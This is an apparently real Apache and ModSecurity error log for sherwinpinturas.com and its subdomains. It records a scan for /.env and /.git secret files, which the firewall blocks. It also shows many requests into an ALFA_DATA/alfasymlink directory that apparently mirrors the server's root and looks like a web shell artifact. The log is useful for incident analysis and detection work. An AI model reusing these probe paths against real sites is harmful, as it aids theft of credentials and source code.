[Tue Oct 27 09:09:50.667994 2026] [security2:error] [pid 3238410:tid 3238410] [client 16.216.88.39:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "auCinoGnJEcoa68lv0nixQAAAAU"]
[Tue Oct 27 09:09:50.668398 2026] [security2:error] [pid 3238410:tid 3238410] [client 16.216.88.39:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "auCinoGnJEcoa68lv0nixQAAAAU"]
[Tue Oct 27 09:09:53.601361 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 98.84.131.195:5619] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:09:59.813775 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.73.142.41:47124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:00.344704 2026] [security2:error] [pid 3237870:tid 3237870] [client 216.244.66.250:40774] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/grub2-get-kernel-settings"] [unique_id "auCiqDSs2oxebAtG_f1y4QAAAAw"]
[Tue Oct 27 09:10:00.344749 2026] [security2:error] [pid 3237870:tid 3237870] [client 216.244.66.250:40774] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/grub2-get-kernel-settings"] [unique_id "auCiqDSs2oxebAtG_f1y4QAAAAw"]
[Tue Oct 27 09:10:12.074998 2026] [ssl:error] [pid 3238409:tid 3238409] (70014)End of file found: [client 18.232.36.1:31497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:12.075238 2026] [security2:error] [pid 3238409:tid 3238409] [client 18.232.36.1:31497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/memory2/subsystem/devices/memory7/removable"] [unique_id "auCitCD7_Ly7dU4HhWSQKgAAAAM"]
[Tue Oct 27 09:10:12.075271 2026] [security2:error] [pid 3238409:tid 3238409] [client 18.232.36.1:31497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/memory2/subsystem/devices/memory7/removable"] [unique_id "auCitCD7_Ly7dU4HhWSQKgAAAAM"]
[Tue Oct 27 09:10:19.836130 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 100.29.107.38:21375] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:24.228652 2026] [core:error] [pid 3233597:tid 3233597] (13)Permission denied: [client 50.16.248.61:20347] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rom
[Tue Oct 27 09:10:27.722253 2026] [ssl:error] [pid 3237989:tid 3237989] (70014)End of file found: [client 3.213.213.161:24871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:35.872137 2026] [ssl:error] [pid 3238408:tid 3238408] (70014)End of file found: [client 34.194.233.48:34946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:47.746295 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.196.6.199:61114] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:51.696003 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 98.83.226.125:61319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:10:59.755392 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.205.222.214:25432] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:15.885837 2026] [ssl:error] [pid 3238467:tid 3238467] (70014)End of file found: [client 18.209.137.234:13902] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:16.406450 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 85.208.96.212:45356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:20.160032 2026] [ssl:error] [pid 3238222:tid 3238222] (70014)End of file found: [client 50.16.72.185:24441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:23.764140 2026] [core:error] [pid 3237992:tid 3237992] (13)Permission denied: [client 18.214.124.6:11903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/resource0
[Tue Oct 27 09:11:27.743192 2026] [core:error] [pid 3238467:tid 3238467] (13)Permission denied: [client 52.203.65.83:39109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ac/unbind
[Tue Oct 27 09:11:39.901672 2026] [ssl:error] [pid 3238467:tid 3238467] (70014)End of file found: [client 34.194.165.45:9307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:43.858856 2026] [core:error] [pid 3238321:tid 3238321] (13)Permission denied: [client 3.93.98.99:13623] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/intel_rapl_msr/unbind
[Tue Oct 27 09:11:47.681465 2026] [core:error] [pid 3238465:tid 3238465] (13)Permission denied: [client 184.72.84.154:40776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/node0/memory6/subsystem/drivers_probe
[Tue Oct 27 09:11:51.699991 2026] [ssl:error] [pid 3238467:tid 3238467] (70014)End of file found: [client 35.174.253.85:41690] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:11:55.913657 2026] [core:error] [pid 3238465:tid 3238465] (13)Permission denied: [client 44.212.106.171:36514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory7/subsystem/uevent
[Tue Oct 27 09:11:58.332345 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCjHpbeq0qL-txKPK_oIgAAAAo"]
[Tue Oct 27 09:11:58.332677 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCjHpbeq0qL-txKPK_oIgAAAAo"]
[Tue Oct 27 09:11:58.333136 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auCjHpbeq0qL-txKPK_oIgAAAAo"]
[Tue Oct 27 09:11:58.542068 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCjHpbeq0qL-txKPK_oIwAAAAo"]
[Tue Oct 27 09:11:58.542397 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCjHpbeq0qL-txKPK_oIwAAAAo"]
[Tue Oct 27 09:11:58.542660 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCjHpbeq0qL-txKPK_oIwAAAAo"]
[Tue Oct 27 09:11:58.736283 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCjHpbeq0qL-txKPK_oJAAAAAo"]
[Tue Oct 27 09:11:58.736521 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCjHpbeq0qL-txKPK_oJAAAAAo"]
[Tue Oct 27 09:11:58.736780 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auCjHpbeq0qL-txKPK_oJAAAAAo"]
[Tue Oct 27 09:11:59.370614 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCjH5beq0qL-txKPK_oJQAAAAo"]
[Tue Oct 27 09:11:59.370886 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCjH5beq0qL-txKPK_oJQAAAAo"]
[Tue Oct 27 09:11:59.371143 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCjH5beq0qL-txKPK_oJQAAAAo"]
[Tue Oct 27 09:11:59.767746 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCjH5beq0qL-txKPK_oJwAAAAo"]
[Tue Oct 27 09:11:59.767993 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCjH5beq0qL-txKPK_oJwAAAAo"]
[Tue Oct 27 09:11:59.768267 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCjH5beq0qL-txKPK_oJwAAAAo"]
[Tue Oct 27 09:12:01.274627 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "auCjIZbeq0qL-txKPK_oKwAAAAo"]
[Tue Oct 27 09:12:01.274871 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "auCjIZbeq0qL-txKPK_oKwAAAAo"]
[Tue Oct 27 09:12:01.275200 2026] [security2:error] [pid 3238467:tid 3238467] [client 158.46.160.220:42527] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "auCjIZbeq0qL-txKPK_oKwAAAAo"]
[Tue Oct 27 09:12:07.742827 2026] [ssl:error] [pid 3238771:tid 3238771] (70014)End of file found: [client 35.172.125.172:5974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:12:13.717287 2026] [security2:error] [pid 3238222:tid 3238222] [client 107.172.76.131:59224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCjIOHlAzrEzWsbYilELgAAAAQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 09:12:13.717382 2026] [security2:error] [pid 3238222:tid 3238222] [client 107.172.76.131:59224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCjIOHlAzrEzWsbYilELgAAAAQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 09:12:17.593671 2026] [security2:error] [pid 3238322:tid 3238322] [client 107.172.76.131:59198] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCjH32vMbfE1wjqa9ewugAAAB0"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:12:17.593720 2026] [security2:error] [pid 3238322:tid 3238322] [client 107.172.76.131:59198] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCjH32vMbfE1wjqa9ewugAAAB0"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:12:23.758754 2026] [core:error] [pid 3238772:tid 3238772] (13)Permission denied: [client 52.45.15.233:56321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/custom_divisor
[Tue Oct 27 09:12:28.021481 2026] [ssl:error] [pid 3238222:tid 3238222] (70014)End of file found: [client 98.83.226.125:39758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:12:40.073577 2026] [ssl:error] [pid 3238222:tid 3238222] (70014)End of file found: [client 34.199.252.22:36780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:12:43.749987 2026] [ssl:error] [pid 3238322:tid 3238322] (70014)End of file found: [client 184.72.95.195:28876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:12:47.745503 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 3.227.180.70:10460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:03.849205 2026] [ssl:error] [pid 3238468:tid 3238468] (70014)End of file found: [client 34.197.28.78:25892] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:09.957239 2026] [ssl:error] [pid 3237870:tid 3237870] (70014)End of file found: [client 44.207.252.58:12299] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:12.334192 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 98.82.38.120:42637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:16.912055 2026] [security2:error] [pid 3237870:tid 3237870] [client 54.89.140.197:58361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auCjbDSs2oxebAtG_f1y7QAAAAw"]
[Tue Oct 27 09:13:16.912083 2026] [security2:error] [pid 3237870:tid 3237870] [client 54.89.140.197:58361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auCjbDSs2oxebAtG_f1y7QAAAAw"]
[Tue Oct 27 09:13:23.825765 2026] [ssl:error] [pid 3238657:tid 3238657] (70014)End of file found: [client 52.204.81.148:36234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:27.949099 2026] [ssl:error] [pid 3237870:tid 3237870] (22)Invalid argument: [client 54.198.33.233:55715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:32.039733 2026] [ssl:error] [pid 3238770:tid 3238770] (70014)End of file found: [client 44.210.213.220:59420] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:44.000970 2026] [ssl:error] [pid 3238409:tid 3238409] (70014)End of file found: [client 52.3.26.180:21341] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:13:55.703986 2026] [core:error] [pid 3238410:tid 3238410] (13)Permission denied: [client 54.90.8.255:64985] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/device/driver/serio1/driver/bind
[Tue Oct 27 09:14:08.407934 2026] [ssl:error] [pid 3238468:tid 3238468] (70014)End of file found: [client 23.22.59.87:64138] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:15.815102 2026] [core:error] [pid 3238410:tid 3238410] (13)Permission denied: [client 184.73.167.217:36678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory5/node0/cpu1/crash_notes_size
[Tue Oct 27 09:14:19.764351 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.203.237.170:25804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:27.753407 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 34.225.138.57:48053] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:31.689510 2026] [ssl:error] [pid 3237870:tid 3237870] (70014)End of file found: [client 3.220.148.166:31523] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:35.885502 2026] [ssl:error] [pid 3237992:tid 3237992] (70014)End of file found: [client 54.84.161.62:7736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:47.756993 2026] [ssl:error] [pid 3238324:tid 3238324] (70014)End of file found: [client 44.207.252.58:24239] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:51.744091 2026] [ssl:error] [pid 3238409:tid 3238409] (70014)End of file found: [client 52.70.209.13:18368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:14:55.842395 2026] [core:error] [pid 3238408:tid 3238408] (13)Permission denied: [client 100.24.167.60:53921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:1f/eject
[Tue Oct 27 09:15:11.894284 2026] [ssl:error] [pid 3238770:tid 3238770] (70014)End of file found: [client 44.215.235.20:1799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:15:23.725215 2026] [ssl:error] [pid 3238316:tid 3238316] (70014)End of file found: [client 3.213.106.226:57798] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:15:32.706714 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 3.222.190.107:12737] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:15:43.781881 2026] [ssl:error] [pid 3238771:tid 3238771] (70014)End of file found: [client 50.17.193.48:41633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:15:47.673830 2026] [ssl:error] [pid 3238410:tid 3238410] (70014)End of file found: [client 184.73.195.18:11415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:15:51.848066 2026] [ssl:error] [pid 3238772:tid 3238772] (70014)End of file found: [client 44.212.106.171:30346] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:00.093867 2026] [ssl:error] [pid 3240165:tid 3240165] (70014)End of file found: [client 54.83.240.58:19551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:03.797560 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 3.221.50.71:27266] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:16:13.191702 2026] [ssl:error] [pid 3238322:tid 3238322] (70014)End of file found: [client 54.164.106.236:60185] AH02013: coalesce failed to read from data bucket
